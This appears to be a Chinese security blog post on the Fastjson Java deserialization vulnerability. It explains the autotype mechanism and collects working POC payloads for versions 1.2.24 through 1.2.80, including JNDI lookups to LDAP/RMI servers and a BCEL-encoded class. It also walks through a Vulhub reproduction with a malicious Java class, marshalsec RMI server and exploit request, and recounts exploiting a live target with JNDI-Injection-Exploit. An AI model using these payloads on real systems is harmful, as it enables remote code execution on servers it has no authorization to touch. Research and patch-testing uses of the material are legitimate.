分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集
字数 1588 2025-08-22 12:22:54
Fastjson反序列化漏洞全面解析
0x1 前言
Fastjson反序列化漏洞是Java安全领域中的一个重要漏洞类型,本文将从原理、复现、实战案例和POC收集等多个方面进行全面解析,帮助安全研究人员深入理解和利用该漏洞。
0x2 Fastjson反序列化漏洞原理及介绍
一、Fastjson概述
Fastjson是阿里巴巴的开源JSON处理库,用于Java对象与JSON之间的相互转换。主要功能包括:
toJSONString():序列化,将Java对象转换为JSON字符串parseObject():反序列化,将JSON字符串转换为Java对象
二、漏洞原理
Fastjson的autotype机制是漏洞产生的根本原因:
- Fastjson通过
@type标识来确定JSON数据的具体类型 - 攻击者可以指定任意类进行反序列化,并调用其set/get/is方法
- 通过精心构造的恶意类,可以实现远程代码执行
三、漏洞利用流程
- 攻击者构造包含恶意类的JSON数据发送给目标服务器
- 目标服务器反序列化时加载恶意类,向攻击者控制的RMI/LDAP服务器请求指令
- RMI/LDAP服务器返回恶意代码
- 目标服务器执行恶意代码,完成攻击
0x3 Fastjson漏洞POC收集
各版本POC汇总
1. Fastjson 1.2.24版本
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["恶意字节码"],
"_name": "test",
"_tfactory": {},
"_outputProperties": {}
}
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:1234/Exploit",
"autoCommit": true
}
2. Fastjson 1.2.25版本
{
"@type": "[com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:1234/Exploit",
"autoCommit": true
}
3. Fastjson 1.2.42版本
{
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "ldap://127.0.0.1:1234/Exploit",
"autoCommit": true
}
4. Fastjson 1.2.45版本
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://127.0.0.1:1234/Exploit"
}
}
5. Fastjson <=1.2.62/1.2.66版本
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "rmi://127.0.0.1:1099/exploit"
}
6. Fastjson 1.2.80版本
{
"a": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"b": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "
$$
BECL
$$
$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$cb$O$ac$8b$bc$c47$sV$82$854v$Q$h$a3$W$e2$pb$b4$k$c6$J$Z$5cv$c92$Y$fe$c8$9aF$8d$85$l$e0G$Z$efl$M$908$c5$7d$9c$c7$bd7$f3$fd$f3$f9$F$e0$Y$7b$k8J$k$ca$a8d$b1fs$95c$9dc$83c$93$c1m$ebP$9b$T$86t$bd$f1$c0$e0$9cFO$8a$a1$d0$d1$a1$ba$9e$M$7b$w$be$X$bd$80$90l$5b$G$7f$ca$7c$d7$I$f9$7c$rF$JE$b3$Y$bcn4$89$a5$3a$d7$89TMGG$D$f1$o$7cd$91$e3$d8$f2$b1$8d$j$9a$zE$m$7d$ec$a2$c6P$b1$7c3$Qa$bfy6$95jdt$U$d2$N$e4d$u
$$
$b8$9b$de$40I$c3PZ$40w$93$d0$e8$n$ad$f1$fa$ca$cc$9bj$bd$d1$f9$a7i$d1N5U$92$e1$a0$be$c4vM$ac$c3$7ek$d9p$hGR$8d$c7$z$ec$c3$a5$df$b2$_$Ff$cf$a7$e8QW$a3$cc$ug$O$df$c1fT0$acPt$T$d0$K$fd$b9$f4$o$b1$C$ab$lH$95$d3op$k_$e1$5c$ce$S$yG$ba$M$f1$d6$5b$86C$d1$n$ccM$d0$3c$z$ce$T$c2$91$eap$ac$da$b1$85$e4$8e$e2$_$M$c2$l$G$cb$B$A$A"
}
}
0x4 Fastjson自动化检测插件
1. BurpFastJsonScan插件
- 功能:自动检测请求中的JSON数据是否存在Fastjson漏洞
- 检测范围:
- POST内容为JSON
- GET参数为JSON
- POST参数为JSON
- Cookie参数为JSON
- 下载地址:https://github.com/pmiaowu/BurpFastJsonScan
2. FastjsonScan插件
- 功能:简单快速的Fastjson反序列化检测
- 推荐环境:JDK 1.8
- 下载地址:https://github.com/Maskhe/FastjsonScan
0x5 Fastjson环境搭建+漏洞复现
环境准备
- 靶机:Ubuntu + Docker + Vulhub
- 攻击机:Kali Linux
复现步骤
- 启动靶机环境
cd /vulhub/fastjson/1.2.24-rce
docker-compose up -d
- 创建恶意Java类
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/successFrank"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
- 编译并启动HTTP服务
javac TouchFile.java
python -m http.server 4444
- 启动RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://攻击机IP:4444/#TouchFile" 9999
- 发送恶意请求
POST / HTTP/1.1
Host: 靶机IP:8090
Content-Type: application/json
Content-Length: 165
{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://攻击机IP:9999/TouchFile",
"autoCommit": true
}
}
- 验证攻击结果
docker exec -it 容器ID /bin/bash
ls /tmp # 查看是否创建了successFrank文件
0x6 实战案例分享
漏洞发现过程
- 在目标系统注册并登录
- 使用BurpSuite插件扫描登录接口
- 确认存在Fastjson漏洞(版本<=1.2.47)
漏洞利用
- 使用JNDI-Injection-Exploit工具生成JNDI链接
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C '[command]ping dnslog.cn' -A 攻击机IP
- 构造恶意请求实现RCE
0x7 总结与参考
关键点总结
- Fastjson漏洞核心在于autotype机制
- 不同版本需要不同的POC
- 环境配置(特别是JDK版本)对漏洞复现至关重要
参考资源
- JDK1.8安装教程:https://blog.csdn.net/m0_54899775/article/details/122420533
- Vulhub安装教程:https://blog.csdn.net/m0_54899775/article/details/122463532
- JNDI-Injection-Exploit工具:https://github.com/welk1n/JNDI-Injection-Exploit
- Fastjson详细分析:https://xz.aliyun.com/t/14872
注意:本文仅供安全研究学习使用,未经授权进行攻击属于非法行为。